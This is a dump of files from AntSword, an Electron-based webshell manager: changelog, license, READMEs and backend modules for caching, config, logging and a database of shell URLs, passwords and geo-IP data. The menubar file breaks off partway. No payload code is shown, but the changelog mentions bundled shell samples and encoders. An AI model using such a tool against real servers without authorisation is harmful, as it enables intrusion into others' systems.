读取自身时数据被截断的 bug\n  2. 添加 aspx hex encoder 支持\n\n### /27\n  1. 新增了后端配置文件`modules.config.js`\n  2. 重写优化了部分后端模块\n  3. 使用了`npm3`进行依赖模块安装，便于打包发布\n\n### /25\n  1. 移除`webpack`以及其他不必要的依赖，直接无需编译即可执行ES6代码（有新模块`babel`的加入，请使用`npm install`初始化\n  2. 更新美化关于页面\n  3. 重构`modules/request.js`后端数据请求模块\n\n### /24 `(v1.2.1)`\n  1. 重写前端资源加载方案\n  2. 优化部分ES6代码\n\n### /23\n  1. 更新美化关于页面\n  2. 修正 Aspx 中代码根据用户配置自动编码\n\n### /22\n  1. 修补 aspx 连接和文件管理的 Bug // &2:Thanks [@Medicean][medicaean-github]\n  2. 新添加了 aspx base64 编码器\n\n### /16 `(v1.2.0)`\n  1. 重新架构核心模块编码器\n  2. 优化shellmanager添加/编辑功能\n  3. 重构语言模板加载方案\n  4. 增加中文部分开发文档\n\n### /14\n  1. 增加文件管理模块拖拽文件上传功能\n\n### /13\n  1. 完全重写优化核心代码架构\n  2. 增强文件下载功能，支持稳定下载大文件\n  3. 优化HTTP请求函数\n  4. 增加显示文件管理左侧目录数\n\n### /12\n  1. 修复文件管理模板XSS安全问题\n\n### /10 `(v.1.1.2)`\n  1. 增加文件管理中可执行文件的提示样式\n  2. 调整文件管理中任务面板默认折叠（当有任务时自动展开\n\n### /06\n  1. 添加 PHP Custom Spy，及多个 Shell 样本 // Thanks:[@Medicean][medicaean-github]\n\n## 2016/03\n\n### /30\n  1. 修正更新菜单栏判断条件（win禁止按钮\n\n### /29 `(v.1.1.1)`\n  1. 完成在线更新功能（目前不支持windows以及开发版本\n\n### /26\n  1. 文件管理双击：size < 100kb ? 编辑 : 下载\n  2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean][medicaean-github]\n  3. 添加 Shells 目录, 用于存放 shell 样本代码\n  4. 添加 `custom.jsp` 服务端样本代码\n\n### /24\n  1. 文件管理双击文件进行编辑 //size < 100kb\n\n### /23 `(v1.1.0)`\n  1. 优化数据处理截断算法\n\n### /22\n  1. 数据分类重命名\n  2. 新增代理连接配置 // 感谢[@Medicean][medicaean-github]\n\n### /21\n  1. 优化UI组建自适应，在调整窗口大小的时候不刷新就能调整UI尺寸\n\n### /18\n  1. 修复数据库XSS安全隐患以及特殊符号处理 // 感谢[@peablog][peablog-github]\n\n### /15\n  1. 修复了部分XSS遗留问题（主要在语言模板以及文件管理上还有虚拟终端等，其他地方可能还存在 // 感谢[@loveshell][loveshell-github]\n\n### /14\n  1. 修复文件管理中过滤不当引发的xss安全问题\n  2. 增加窗口调整大小刷新UI之前弹框提醒用户选择是否刷新\n  3. 删除无用语言包（jp）\n  4. 更新支持PHP7 // 感谢[@Lupino][Lupino-github]\n    1. 删除`core/php/index.jsx`中的`@set_magic_quotes_runtime(0);`\n    2. 升级`core/php/template/database/mysql.jsx`中的`mysql`为`mysqli`\n\n### /13\n  1. 修复源码中`jquery`库缺失问题\n\n# 待做事项\n  * 数据高级搜索功能\n  * 数据库配置编辑功能\n  * 虚拟终端复制粘贴tab补全\n  * 插件模块 //实时编写插件执行、UI以及各种操作API设计\n  * 扩展模块 //用于扩展一些高级的功能，懒人必备\n  - 代码重构\n  - 中文开发文档\n  * 英文说明+开发文档\n  * nodejs服务端脚本支持\n  * python服务端脚本支持\n\n\n[medicaean-github]: https://github.com/Medicean\n[peablog-github]: https://github.com/peablog\n[loveshell-github]: https://github.com/loveshell\n[Lupino-github]: https://github.com/Lupino\n"
  },
  {
    "path": "antSword/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2016-present Antoor\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "antSword/README.md",
    "content": "# AntSword [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]\n\n> AntSword in your hands, no worries in your mind！\n\n**AntSword is an open source, cross-platform website administration tool, being designed to meet the needs of penetration testers together with security researchers with permissions and/or authorizations as well as webmasters.**\n\n**Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.**\n\nThis software, of which the development thought is modularization, is intended to provide easy-to-understand codes and modification guidelines for users of different levels. Therefore, any contribution making by everyone to this project is encouraged, whether large or small. By doing so, this tool can be more convenient and consequently become your most powerful kit！\n\n[中文说明][url-doczh] / [Document][url-document] / [Changelog][url-changelog]\n\n## Development stack\n\n- [Electron][url-electron]\n- [ES6][url-es6]\n- [dhtmlx][url-dhtmlx]\n- [Nodejs][url-nodejs]\n* And other libraries called in the project.\n\n## Screenshots\n\n![][url-mainui]\n\n## Quick Start\n\nSee document: [Quick Start][url-quickstart]\n\n## Contribute\n\nSee document: [Make contributions to AntSword][url-contribute]\n\n## Thanks\n\n> Thanks to anyone who made any contributions.\n\n## LICENSE\n\n[LICENSE](./LICENSE)\n\n[url-doczh]: README_CN.md\n[url-changelog]: CHANGELOG.md\n[url-document]: http://doc.u0u.us/en/\n[url-release]: https://github.com/AntSwordProject/AntSword/releases/tag/2.0.0\n[url-electron]: http://electron.atom.io/\n[url-es6]: http://es6.ruanyifeng.com/\n[url-dhtmlx]: http://dhtmlx.com/\n[url-nodejs]: https://nodejs.org/\n[url-homepage]: http://uyu.us\n[url-release]: https://github.com/AntSwordProject/AntSword/releases\n[url-quickstart]: https://doc.u0u.us/en/getting_started/index.html\n[url-contribute]: https://doc.u0u.us/en/contribute_docs.html\n[url-mainui]: http://7xtigg.com1.z0.glb.clouddn.com/doc/getting_started/get_antsword_2.jpg"
  },
  {
    "path": "antSword/README_CN.md",
    "content": "# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]\n\n> 一剑在手，纵横无忧！\n\n**中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。**    \n**任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担并将追究其相关责任！**\n\n[English][url-docen] / [文档][url-document] / [更新日志][url-changelog]\n\n## 开发栈\n - [Electron][url-electron]\n - [ES6][url-es6]\n - [dhtmlx][url-dhtmlx]\n - [Nodejs][url-nodejs]\n * 以及其他在项目中调用到的库\n\n中国蚁剑推崇模块化的开发思想，遵循**开源，就要开得漂亮**的原则，致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明，努力让大家可以一起为这个项目贡献出力所能及的点滴，让这款工具真正能让大家用得顺心、舒适，让它能为大家施展出最人性化最适合你的能力！\n\n## 软件截图\n\n![][url-mainui]\n\n## 快速入门\n\n参见文档 [快速入门][url-quickstart]\n\n## 如何贡献\n\n参见文档 [支持蚁剑][url-contribute]\n\n## 致敬感谢\n> 中国蚁剑的核心代码模板均改自伟大的**中国菜刀**，在此向作者感谢以及致敬！致敬每一位为网络安全做出点滴贡献的心老前辈！\n\n**一路走来，得到了很多朋友的参与开发以及点滴赞助，在此感谢陪伴，感谢你们能让它越走越远！**\n\n## 开源协议\n\n详情请查看 [LICENSE](./LICENSE)\n\n\n[url-docen]: README.md\n[url-changelog]: CHANGELOG.md\n[url-document]: http://doc.u0u.us/zh-hans/\n[url-release]: https://github.com/AntSwordProject/AntSword/releases/tag/2.0.0\n[url-electron]: http://electron.atom.io/\n[url-es6]: http://es6.ruanyifeng.com/\n[url-dhtmlx]: http://dhtmlx.com/\n[url-nodejs]: https://nodejs.org/\n[url-homepage]: http://uyu.us\n[url-release]: https://github.com/AntSwordProject/AntSword/releases\n[url-quickstart]: https://doc.u0u.us/zh-hans/getting_started/index.html\n[url-contribute]: https://doc.u0u.us/zh-hans/contribute_docs.html\n[url-mainui]: http://7xtigg.com1.z0.glb.clouddn.com/doc/getting_started/get_antsword_2.jpg"
  },
  {
    "path": "antSword/app.js",
    "content": "/**\n * 中国蚁剑::主程序入口\n * 更新：2016/05/02\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nconst path = require('path');\nconst electron = require('electron');\nconst { app, protocol, BrowserWindow } = require('electron');\n\napp\n  .once('ready', () => {\n    /**\n     * 注册静态资源protocol\n     * - 可通过注册的协议访问资源文件，如ant-static://libs/jquery.jquery.js\n     */\n    [\n      ['static', '/static/', 13],\n      ['views', '/views/', 12],   //- 通过访问访问ant-views来访问views 文件\n      ['src', '/source/', 10]     //- 通过访问访问ant-src来访问source 文件\n    ].map((_) => {\n      protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {\n        cb({\n          path: path.join(__dirname, _[1], req.url.substr(_[2]))\n        });\n      });\n    });\n\n    // 初始化窗口\n    let mainWindow = new BrowserWindow({\n      width: 1040, height: 699,\n      minWidth: 888, minHeight: 555,\n      webgl: false, title: 'AntSword'\n    });\n\n    // 加载views\n    mainWindow.loadURL('ant-views://index.html');\n\n    // 调整部分UI\n    const reloadUI = mainWindow.webContents.send.bind(\n      mainWindow.webContents,\n      'reloadui', true\n    );\n\n    // 窗口事件监听\n    mainWindow\n      .on('close', (event) => {\n        event.preventDefault();\n        app.exit(0);\n      })\n      .on('minimize', (event) => {\n        event.preventDefault();\n        if (process.platform == 'darwin') {\n          app.hide();\n        }else{\n          mainWindow.hide();\n        }\n      })\n      .on('resize', reloadUI)\n      .on('maximize', reloadUI)\n      .on('unmaximize', reloadUI)\n      .on('enter-full-screen', reloadUI)\n      .on('leave-full-screen', reloadUI);\n\n\n    // 打开调试控制台\n    // mainWindow.webContents.openDevTools();\n\n    electron.Logger = require('./modules/logger')(mainWindow);\n    // 初始化模块\n    ['menubar', 'request', 'database', 'cache', 'update', 'plugStore'].map((_) => {\n      new ( require(`./modules/${_}`) )(electron, app, mainWindow);\n    });\n  });\n"
  },
  {
    "path": "antSword/modules/cache.js",
    "content": "/**\n * 缓存管理模块\n * 更新：2016/04/28\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nconst fs = require('fs'),\n  path = require('path'),\n  CONF = require('./config'),\n  Datastore = require('nedb');\n\nvar logger;\n\nclass Cache {\n\n  /**\n   * 初始化监听事件\n   * @param  {Object} electron electron对象\n   * @return {[type]}          [description]\n   */\n  constructor(electron) {\n    logger = new electron.Logger('Cache');\n    electron.ipcMain\n      .on('cache-add', this.addCache.bind(this))\n      .on('cache-set', this.setCache.bind(this))\n      .on('cache-get', this.getCache.bind(this))\n      .on('cache-del', this.delCache.bind(this))\n      .on('cache-clear', this.clearCache.bind(this))\n      .on('cache-clearAll', this.clearAllCache.bind(this));\n  }\n\n  /**\n   * 创建nedb数据库文件\n   * @param  {String} id 数据存储文件名\n   * @return {[type]}    [description]\n   */\n  createDB(id = String(+new Date)) {\n    return new Datastore({\n      filename: path.join(CONF.cachePath, id),\n      autoload: true\n    });\n  }\n\n  /**\n   * 添加缓存数据\n   * @param {Object} event ipcMain对象\n   * @param {Object} opts  缓存配置（id,tag,cache\n   */\n  addCache(event, opts) {\n    logger.debug('addCache', opts);\n    this.createDB(opts['id']).insert({\n      tag: opts['tag'],\n      cache: opts['cache']\n    }, (err, ret) => {\n      event.returnValue = err || ret;\n    });\n  }\n\n  /**\n   * 设置缓存数据\n   * @param {Object} event ipcMain对象\n   * @param {Object} opts  缓存配置（id,tag,cache\n   */\n  setCache(event, opts) {\n    logger.debug('setCache', opts);\n    this.createDB(opts['id']).update({\n      tag: opts['tag']\n    }, {\n      $set: {\n        cache: opts['cache']\n      }\n    }, (err, ret) => {\n      event.returnValue = err || ret;\n    });\n  }\n\n  /**\n   * 获取缓存数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  缓存配置(id,tag)\n   * @return {[type]}       [description]\n   */\n  getCache(event, opts) {\n    logger.debug('getCache', opts);\n    this.createDB(opts['id']).findOne({\n      tag: opts['tag']\n    }, (err, ret) => {\n      event.returnValue = err || ret;\n    })\n  }\n\n  /**\n   * 删除缓存\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  缓存配置(id,tag)\n   * @return {[type]}       [description]\n   */\n  delCache(event, opts) {\n    logger.warn('delCache', opts);\n    this.createDB(opts['id']).remove({\n      tag: opts['tag']\n    }, (err, ret) => {\n      event.returnValue = err || ret;\n    });\n  }\n\n  /**\n   * 清空缓存数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  缓存配置(id)\n   * @return {[type]}       [description]\n   */\n  clearCache(event, opts) {\n    logger.fatal('clearCache', opts);\n    try{\n      fs.unlinkSync(path.join(CONF.cachePath, opts['id']));\n      event.returnValue = true;\n    }catch(e) {\n      event.returnValue = e;\n    }\n  }\n\n  /**\n   * 清空所有缓存数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  缓存配置(null)\n   * @return {[type]}       [description]\n   */\n  clearAllCache(event, opts) {\n    logger.fatal('clearAllCache', opts);\n    try{\n      fs.readdirSync(CONF.cachePath).map((_) => {\n        fs.unlinkSync(path.join(CONF.cachePath, _));\n      });\n      event.returnValue = true;\n    }catch(e) {\n      event.returnValue = e;\n    }\n  }\n}\n\nmodule.exports = Cache;\n"
  },
  {
    "path": "antSword/modules/config.js",
    "content": "/**\n * 中国蚁剑::后端配置模块\n * ? 用于进行一些通用的变量如初始化目录等设置\n * 开写：2016/04/26\n * 更新：2016/04/28\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nconst fs = require('fs'),\n  path = require('path');\n\nclass Conf {\n\n  constructor() {\n    // 旧数据存储目录\n    let _oldPath = path.join(\n      process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.',\n      '.antSword',\n      'shell.db'\n    );\n    // 数据存储目录\n    this.basePath = path.join(\n      process.env.AS_WORKDIR,\n      'antData'\n    )\n    // 初始化目录\n    !fs.existsSync(this.basePath) ? fs.mkdirSync(this.basePath) : null;\n    // 旧数据搬迁\n    if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {\n      fs.writeFileSync(\n        this.dataPath,\n        fs.readFileSync(_oldPath)\n      )\n    }\n    // 初始化目录\n    this.tmpPath;\n    this.cachePath;\n    this.plugPath;\n  }\n\n  /**\n   * 获取数据存储路径\n   * @return {String} file-path\n   */\n  get dataPath() {\n    return path.join(this.basePath, 'db.ant');\n  }\n\n  /**\n   * 获取缓存目录\n   * @return {String} dir-path\n   */\n  get cachePath() {\n    let _ = path.join(this.basePath, '/cache/');\n    // 创建缓存目录\n    !fs.existsSync(_) ? fs.mkdirSync(_) : null;\n    return _;\n  }\n\n  /**\n   * 获取插件目录\n   * - 当前目录为下载的插件保存目录，而并非开发者的插件目录，同时开发者所设置的插件目录也不应为此\n   * @return {String} plug-path\n   */\n  get plugPath() {\n    let _ = path.join(this.basePath, '/plugins/');\n    !fs.existsSync(_) ? fs.mkdirSync(_) : null;\n    return _;\n  }\n\n  /**\n   * 获取临时目录\n   * - 用户存储下载文件等缓存内容\n   * @return {String} temp-path\n   */\n  get tmpPath() {\n    let _ = path.join(this.basePath, '/.temp/');\n    !fs.existsSync(_) ? fs.mkdirSync(_) : null;\n    return _;\n  }\n\n  /**\n   * 获取package.json配置信息\n   * @return {Object} [description]\n   */\n  get package() {\n    return require('../package.json');\n  }\n\n}\n\nmodule.exports = new Conf();\n"
  },
  {
    "path": "antSword/modules/database.js",
    "content": "/**\n * Shell数据库管理模块\n * 更新：2016/06/28\n */\n\n'use strict';\n\nconst fs = require('fs'),\n  dns = require('dns'),\n  path = require('path'),\n  CONF = require('./config'),\n  Datastore = require('nedb'),\n  qqwry = require(\"geoips\").info();\n\nvar logger;\n\nclass Database {\n\n  /**\n   * 初始化数据库\n   * @param  {electron} electron electron对象\n   * @return {[type]}          [description]\n   */\n  constructor(electron) {\n    logger = new electron.Logger('Database');\n    this.cursor = new Datastore({\n      filename: CONF.dataPath,\n      autoload: true\n    });\n    // 监听事件\n    electron.ipcMain\n      .on('shell-add', this.addShell.bind(this))\n      .on('shell-del', this.delShell.bind(this))\n      .on('shell-edit', this.editShell.bind(this))\n      .on('shell-move', this.moveShell.bind(this))\n      .on('shell-find', this.findShell.bind(this))\n      .on('shell-clear', this.clearShell.bind(this))\n      .on('shell-findOne', this.findOneShell.bind(this))\n      .on('shell-addDataConf', this.addDataConf.bind(this))\n      .on('shell-editDataConf', this.editDataConf.bind(this))\n      .on('shell-delDataConf', this.delDataConf.bind(this))\n      .on('shell-getDataConf', this.getDataConf.bind(this))\n      .on('shell-renameCategory', this.renameShellCategory.bind(this))\n      .on('shell-updateHttpConf', this.updateHttpConf.bind(this));\n  }\n\n  /**\n   * 查询shell数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  查询配置\n   * @return {[type]}       [description]\n   */\n  findShell(event, opts = {}) {\n    logger.debug('findShell', opts);\n    this.cursor\n      .find(opts)\n      .sort({\n        utime: -1\n      })\n      .exec((err, ret) => {\n        event.returnValue = ret || [];\n      });\n  }\n\n  /**\n   * 查询单一shell数据\n   * @param  {Object} event ipcMain对象\n   * @param  {String} opts  shell id\n   * @return {[type]}       [description]\n   */\n  findOneShell(event, opts) {\n    logger.debug('findOneShell', opts);\n    this.cursor.findOne({\n      _id: opts\n    }, (err, ret) => {\n      event.returnValue = err || ret;\n    });\n  }\n\n\n  /**\n   * 根据URL解析出IP&&地理位置\n   * @param  {String} url URL地址\n   * @return {Promise}     ip, addr\n   */\n  _url2ip(url) {\n    return new Promise((res, rej) => {\n      // 解析domain\n      const urlArr = url.match(/(\\w+):\\/\\/([\\w\\.\\-]+)[:]?([\\d]*)([\\s\\S]*)/i);\n      // 无效url\n      if (!urlArr || urlArr.length < 3) {\n        return rej('Unable to resolve domain name from URL');\n      }\n      // 获取IP\n      const domain = urlArr[2];\n      dns.lookup(domain, (err, ip) => {\n        if (err) {\n          return rej(err.toString());\n        }\n        // 获取地理位置\n        const _addr = qqwry.searchIP(ip);\n        return res({\n          ip: ip,\n          addr: `${_addr.Country} ${_addr.Area}`\n        });\n      })\n    })\n  }\n\n  /**\n   * 添加shell数据\n   * @param {Object} event ipcMain对象\n   * @param {Object} opts  数据（url,category,pwd,type,encode,encoder\n   */\n  addShell(event, opts) {\n    logger.info('addShell', opts);\n\n    this._url2ip(opts.base['url'])\n      .then((ret) => {\n        this.cursor.insert({\n          category: opts.base['category'] || 'default',\n          url: opts.base['url'],\n          pwd: opts.base['pwd'],\n          note: opts.base['note'],\n          type: opts.base['type'],\n          ip: ret['ip'],\n          addr: ret['addr'],\n          encode: opts.base['encode'],\n          encoder: opts.base['encoder'],\n          httpConf: opts.http,\n          otherConf: opts.other,\n          ctime: +new Date,\n          utime: +new Date\n        }, (_err, _ret) => {\n          event.returnValue = _err || _ret;\n        });\n      })\n      .catch((_err) => {\n        event.returnValue = _err;\n      })\n  }\n\n  /**\n   * 编辑shell数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  数据（old,new\n   * @return {[type]}       [description]\n   */\n  editShell(event, opts) {\n    logger.warn('editShell', opts);\n\n    const _new = opts.new;\n    const _old = opts.old;\n\n    this._url2ip(_new.base['url'])\n      .then((ret) => {\n        this.cursor.update({\n          _id: _old['_id']\n        }, {\n          $set: {\n            ip: ret['ip'],\n            addr: ret['addr'],\n            url: _new.base['url'],\n            pwd: _new.base['pwd'],\n            note: _new.base['note'],\n            type: _new.base['type'],\n            encode: _new.base['encode'],\n            encoder: _new.base['encoder'],\n            httpConf: _new.http,\n            otherConf: _new.other,\n            utime: +new Date\n          }\n        }, (_err, _ret) => {\n          event.returnValue = _err || _ret;\n        })\n      })\n      .catch((_err) => {\n        event.returnValue = _err;\n      });\n  }\n\n  /**\n   * 更新httpConf配置信息（包含body&&headers\n   * @param  {[type]} event [description]\n   * @param  {[type]} opt  = {} [description]\n   * @return {[type]}       [description]\n   */\n  updateHttpConf(event, opt = {}) {\n    logger.warn('updateHttpConf', opt);\n\n    this.cursor.update({\n      _id: opt._id\n    }, {\n      $set: {\n        httpConf: opt.conf,\n        utime: +new Date\n      }\n    }, (_err, _ret) => {\n      event.returnValue = _err || _ret;\n    });\n  }\n\n  /**\n   * 删除shell数据\n   * @param  {Object} event ipcMain对象\n   * @param  {Array}  opts  要删除的shell-id列表\n   * @return {[type]}       [description]\n   */\n  delShell(event, opts) {\n    logger.warn('delShell', opts);\n    this.cursor.remove({\n      _id: {\n        $in: opts\n      }\n    }, {\n      multi: true\n    }, (err, num) => {\n      event.returnValue = err || num;\n    })\n  }\n\n  /**\n   * 删除分类shell数据\n   * @param  {Object} event ipcMain对象\n   * @param  {String} opts  shell分类名\n   * @return {[type]}       [description]\n   */\n  clearShell(event, opts) {\n    logger.fatal('clearShell', opts);\n    this.cursor.remove({\n      category: opts\n    }, {\n      multi: true\n    }, (err, num) => {\n      event.returnValue = err || num;\n    })\n  }\n\n  /**\n   * 重命名shell分类\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  配置（oldName,newName\n   * @return {[type]}       [description]\n   */\n  renameShellCategory(event, opts) {\n    logger.warn('renameShellCategory', opts);\n    this.cursor.update({\n      category: opts['oldName']\n    }, {\n      $set: {\n        category: opts['newName']\n      }\n    }, {\n      multi: true\n    }, (err, num) => {\n      event.returnValue = err || num;\n    })\n  }\n\n  /**\n   * 移动shell数据分类\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  配置（ids,category\n   * @return {[type]}       [description]\n   */\n  moveShell(event, opts) {\n    logger.info('moveShell', opts);\n    this.cursor.update({\n      _id: {\n        $in: opts['ids'] || []\n      }\n    }, {\n      $set: {\n        category: opts['category'] || 'default',\n        utime: +new Date\n      }\n    }, {\n      multi: true\n    }, (err, num) => {\n      event.returnValue = err || num;\n    })\n  }\n\n  /**\n   * 添加数据库配置\n   * @param {Object} event ipcMain对象\n   * @param {Object} opts  配置（_id,data\n   */\n  addDataConf(event, opts) {\n    logger.info('addDataConf', opts);\n    // 1. 获取原配置列表\n    this.cursor.findOne({\n      _id: opts['_id']\n    }, (err, ret) => {\n      let confs = ret['database'] || {};\n      // 随机Id（顺序增长\n      const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);\n      // 添加到配置\n      confs[random_id] = opts['data'];\n      // 更新数据库\n      this.cursor.update({\n        _id: opts['_id']\n      }, {\n        $set: {\n          database: confs,\n          utime: +new Date\n        }\n      }, (_err, _ret) => {\n        event.returnValue = random_id;\n      });\n    });\n  }\n\n  /**\n   * 修改数据库配置\n   * @param {Object} event ipcMain对象\n   * @param {Object} opts  配置（_id,id,data\n   */\n  editDataConf(event, opts) {\n    logger.info('editDataConf', opts);\n    // 1. 获取原配置列表\n    this.cursor.findOne({\n      _id: opts['_id']\n    }, (err, ret) => {\n      let confs = ret['database'] || {};\n      // 添加到配置\n      confs[opts['id']] = opts['data'];\n      // 更新数据库\n      this.cursor.update({\n        _id: opts['_id']\n      }, {\n        $set: {\n          database: confs,\n          utime: +new Date\n        }\n      }, (_err, _ret) => {\n        event.returnValue = opts['id'];\n      });\n    });\n  }\n\n  /**\n   * 删除数据库配置\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  配置（_id,id\n   * @return {[type]}       [description]\n   */\n  delDataConf(event, opts) {\n    logger.info('delDataConf', opts);\n    // 1. 获取原配置\n    this.cursor.findOne({\n      _id: opts['_id']\n    }, (err, ret) => {\n      let confs = ret['database'] || {};\n      // 2. 删除配置\n      delete confs[opts['id']];\n      // 3. 更新数据库\n      this.cursor.update({\n        _id: opts['_id']\n      }, {\n        $set: {\n          database: confs,\n          utime: +new Date\n        }\n      }, (_err, _ret) => {\n        event.returnValue = _err || _ret;\n      });\n    })\n  }\n\n  /**\n   * 获取单个数据库配置\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} opts  配置（_id,id\n   * @return {[type]}       [description]\n   */\n  getDataConf(event, opts) {\n    logger.info('getDatConf', opts);\n    this.cursor.findOne({\n      _id: opts['_id']\n    }, (err, ret) => {\n      const confs = ret['database'] || {};\n      event.returnValue = err || confs[opts['id']];\n    });\n  }\n}\n\nmodule.exports = Database;\n"
  },
  {
    "path": "antSword/modules/logger.js",
    "content": "/**\n * 后端日志输出模块\n * 开写：2016/05/02\n * 更新：\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nlet mainWindow;\n\nclass Logger {\n  constructor(tag) {\n    this.tag = tag;\n  }\n\n  /**\n   * 解析日志输入文本\n   * @param  {String} type 日志类型（debug,warn,fatal,info\n   * @param  {Object} logs 日志内容\n   * @return {String}      格式化后的内容文本\n   */\n  parseLog(type, logs) {\n    let tm = new Date().toTimeString().split(' ')[0];\n    let log = typeof logs === 'object' ? JSON.stringify(logs) : String(logs);\n    return `[${tm}] ${type.toUpperCase()}::${this.tag}\\t${log}`;\n  }\n\n  /**\n   * 调试信息（正常颜色\n   * @return {[type]} [description]\n   */\n  debug() {\n    mainWindow.send('logger-debug', [this.parseLog('debug', arguments), arguments]);\n  }\n\n  /**\n   * 成功信息（绿色\n   * @return {[type]} [description]\n   */\n  info() {\n    mainWindow.send('logger-info', [this.parseLog('info', arguments), arguments]);\n  }\n\n  /**\n   * 警告信息（黄色\n   * @return {[type]} [description]\n   */\n  warn() {\n    mainWindow.send('logger-warn', [this.parseLog('warn', arguments), arguments]);\n  }\n\n  /**\n   * 错误信息（红色\n   * @return {[type]} [description]\n   */\n  fatal() {\n    mainWindow.send('logger-fatal', [this.parseLog('fatal', arguments), arguments]);\n  }\n}\n\nmodule.exports = (win) => {\n  mainWindow = win;\n  return Logger;\n}\n"
  },
  {
    "path": "antSword/modules/menubar.js",
    "content": "/**\n * 菜单栏模块\n */\n\n'use strict';\n\nclass Menubar {\n\n  constructor(electron, app, mainWindow) {\n\n    const Menu = electron.Menu;\n    const Tray = electron.Tray;\n    const nativeImage = electron.nativeImage;\n    const path = require('path');\n\n    // 清空菜单栏\n    Menu.setApplicationMenu(Menu.buildFromTemplate([]));\n    // 监听重载菜单事件\n    electron.ipcMain\n      .on('quit', app.quit.bind(app))\n      .on('menubar', this.reload.bind(this));\n\n    this.electron = electron;\n    this.app = app;\n    this.Menu = Menu;\n    this.Tray = Tray;\n    this.nativeImage = nativeImage;\n    this.path = path;\n    this.trayIcon = null;\n    this.mainWindow = mainWindow;\n  }\n\n  /**\n   * 重新载入菜单\n   * @param  {Object} event ipcMain对象\n   * @param  {Object} LANG  语言模板\n   * @return {[type]}       [description]\n   */\n  reload(event, LANG) {\n    // 菜单模板\n    const template = [\n      {\n        // 主菜单\n        label: LANG['main']['title'],\n        submenu: [\n          {\n            label: LANG['main']['about'],\n            accelerator: 'Shift+CmdOrCtrl+I',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')\n          }, {\n            label: LANG['main']['language'],\n            accelerator: 'Shift+CmdOrCtrl+L',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings-language')\n          }, {\n            label: LANG['main']['aproxy'],\n            accelerator: 'Shift+CmdOrCtrl+A',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy')\n          }, {\n            label: LANG['main']['display'],\n            accelerator: 'Shift+CmdOrCtrl+D',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings-display')\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['main']['encoders'],\n            accelerator: 'Shift+CmdOrCtrl+E',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings-encoders')\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['main']['settings'],\n            accelerator: 'Shift+CmdOrCtrl+S',\n            click: event.sender.send.bind(event.sender, 'menubar', 'settings')\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['main']['pluginStore'],\n            accelerator: 'Shift+CmdOrCtrl+P',\n            click: event.sender.send.bind(event.sender, 'menubar', 'plugin-store')\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['main']['quit'],\n            accelerator: 'Command+Q',\n            click: this.app.quit.bind(this.app)\n          },\n        ]\n      }, {\n        // 编辑\n        label: LANG['edit']['title'],\n        submenu: [\n          {\n            label: LANG['edit']['undo'], accelerator: 'CmdOrCtrl+Z', role: 'undo'\n          }, {\n            label: LANG['edit']['redo'], accelerator: 'Shift+CmdOrCtrl+Z', role: 'redo'\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['edit']['cut'], accelerator: 'CmdOrCtrl+X', role: 'cut'\n          }, {\n            label: LANG['edit']['copy'], accelerator: 'CmdOrCtrl+C', role: 'copy'\n          }, {\n            label: LANG['edit']['paste'], accelerator: 'CmdOrCtrl+V', role: 'paste'\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['edit']['selectall'], accelerator: 'CmdOrCtrl+A', role: 'selectall'\n          }\n        ]\n      }, {\n        // 窗口\n        label: LANG['window']['title'],\n        submenu: [\n          {\n            label: LANG['window']['next'], accelerator: 'Shift+CmdOrCtrl+Right',\n            click: 